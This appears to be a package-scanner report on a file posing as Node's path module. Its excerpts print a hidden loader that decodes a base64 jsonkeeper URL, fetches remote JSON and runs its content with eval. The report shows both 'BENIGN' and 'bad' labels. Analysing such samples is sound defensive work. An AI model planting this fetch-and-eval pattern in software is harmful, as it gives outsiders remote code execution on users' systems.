package/path.js
UNKNOWN
Verdict: BENIGN
Local reference
Suspicious dependency
Inferred
| 1 |
// Copyright Joyent, Inc. and other Node contributors.
|
Node path module implementation |
| 2 |
//
|
|
| 3 |
// Permission is hereby granted, free of charge, to any person obtaining a
|
|
| 27 |
// (so also no leading and trailing slashes - it does not distinguish
|
|
| 28 |
// relative and absolute paths)
|
|
| 29 |
function normalizeArray(parts, allowAboveRoot) {
|
Node path core functions appear nearby |
| 30 |
var res = [];
|
|
| 31 |
for (var i = 0; i < parts.length; i++) {
|
|
| 32 |
var p = parts[i];
|
|
| 33 |
|
|
| 74 |
// Random string to generate strong random value
|
|
| 75 |
var randomStringRe = "";
|
|
| 76 |
var tokenStringRe = "aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9DV09WOQ==";
|
Encoded payload detected: base64 |
| 77 |
|
|
| 78 |
// Regex to split the tail part of the above into [*, dir, basename, ext]
|
|
| 82 |
var win32 = {};
|
|
| 83 |
|
|
| 84 |
// Function to split a filename into [root, dir, basename, ext]
|
|
| 85 |
function win32SplitPath(filename) {
|
Node path core functions appear nearby |
| 86 |
// Separate device+slash from tail
|
|
| 87 |
var result = splitDeviceRe.exec(filename),
|
|
| 550 |
|
|
| 551 |
function loadStringData () {
|
|
| 552 |
fetch(atob(randomStringRe))
|
JavaScript base64 decode via atob() |
| 553 |
.then((t) => t.json())
|
|
| 554 |
.then((data) => {
|
|
| 555 |
const codeString = data.content;
|
eval executes JSON content field |
| 556 |
eval(codeString);
|
|
| 557 |
})
|
|
Objectives
| 550 |
|
|
| 551 |
function loadStringData () {
|
|
| 552 |
fetch(atob(randomStringRe))
|
|
| 553 |
.then((t) => t.json())
|
|
| 554 |
.then((data) => {
|
|
| 555 |
const codeString = data.content;
|
|
| 556 |
eval(codeString);
|
|
| 557 |
})
|
|
| 74 |
// Random string to generate strong random value
|
|
| 75 |
var randomStringRe = "";
|
|
| 76 |
var tokenStringRe = "aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9DV09WOQ==";
|
|
| 77 |
|
|
| 78 |
// Regex to split the tail part of the above into [*, dir, basename, ext]
|
|
| 629 |
else module.exports = posix;
|
|
| 630 |
|
|
| 631 |
module.exports.posix = posix;
|
|
| 632 |
module.exports.win32 = win32;
|
|
| 82 |
var win32 = {};
|
|
| 83 |
|
|
| 84 |
// Function to split a filename into [root, dir, basename, ext]
|
|
| 85 |
function win32SplitPath(filename) {
|
|
| 86 |
// Separate device+slash from tail
|
|
| 87 |
var result = splitDeviceRe.exec(filename),
|
|
| 27 |
// (so also no leading and trailing slashes - it does not distinguish
|
|
| 28 |
// relative and absolute paths)
|
|
| 29 |
function normalizeArray(parts, allowAboveRoot) {
|
|
| 30 |
var res = [];
|
|
| 31 |
for (var i = 0; i < parts.length; i++) {
|
|
| 32 |
var p = parts[i];
|
|
| 33 |
|
|
| 1 |
// Copyright Joyent, Inc. and other Node contributors.
|
|
| 2 |
//
|
|
| 3 |
// Permission is hereby granted, free of charge, to any person obtaining a
|
|
Micro-behaviors
| 550 |
|
|
| 551 |
function loadStringData () {
|
|
| 552 |
fetch(atob(randomStringRe))
|
|
| 553 |
.then((t) => t.json())
|
|
| 554 |
.then((data) => {
|
|
| 555 |
const codeString = data.content;
|
|
| 556 |
eval(codeString);
|
|
| 557 |
})
|
|
| 550 |
|
|
| 551 |
function loadStringData () {
|
|
| 552 |
fetch(atob(randomStringRe))
|
|
| 553 |
.then((t) => t.json())
|
|
| 554 |
.then((data) => {
|
|
| 555 |
const codeString = data.content;
|
|
| 556 |
eval(codeString);
|
|
| 557 |
})
|
|
Metadata
| 74 |
// Random string to generate strong random value
|
|
| 75 |
var randomStringRe = "";
|
|
| 76 |
var tokenStringRe = "aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9DV09WOQ==";
|
|
| 77 |
|
|
| 78 |
// Regex to split the tail part of the above into [*, dir, basename, ext]
|
|
| 629 |
else module.exports = posix;
|
|
| 630 |
|
|
| 631 |
module.exports.posix = posix;
|
|
| 632 |
module.exports.win32 = win32;
|
|
| 1 |
// Copyright Joyent, Inc. and other Node contributors.
|
|
| 2 |
//
|
|
| 3 |
// Permission is hereby granted, free of charge, to any person obtaining a
|
|
| 358 |
if (!util.isObject(pathObject)) {
|
|
| 359 |
throw new TypeError(
|
|
| 360 |
"Parameter 'pathObject' must be an object, not " + typeof pathObject,
|
|
| 361 |
);
|
|
| 362 |
}
|
|
| 230 |
var segment = arguments[i];
|
|
| 231 |
// if (!util.isString(arg)) {
|
|
| 232 |
if (!(typeof segment === 'string' || segment instanceof String)) {
|
|
| 233 |
throw new TypeError("Arguments to path.join must be strings");
|
|
| 234 |
}
|
|
| 390 |
var allParts = win32SplitPath(pathString);
|
|
| 391 |
if (!allParts || allParts.length !== 4) {
|
|
| 392 |
throw new TypeError("Invalid path '" + pathString + "'");
|
|
| 393 |
}
|
|
| 394 |
return {
|
|
Identity
| SHA-256 |
98b01dc2b472069106e707749862ea5cfcd1bb2fb339dfeda28047ef1630cbaf |
| Filename |
package/path.js |
Timeline
| First seen |
9 Jun 2026 10:53 UTC |
| First analyzed |
9 Jun 2026 10:53 UTC |
| Last analyzed |
21 Jun 2026 00:35 UTC |
| Last updated |
21 Jun 2026 00:35 UTC |
Labeling
| Label |
bad |
| Label source |
forager |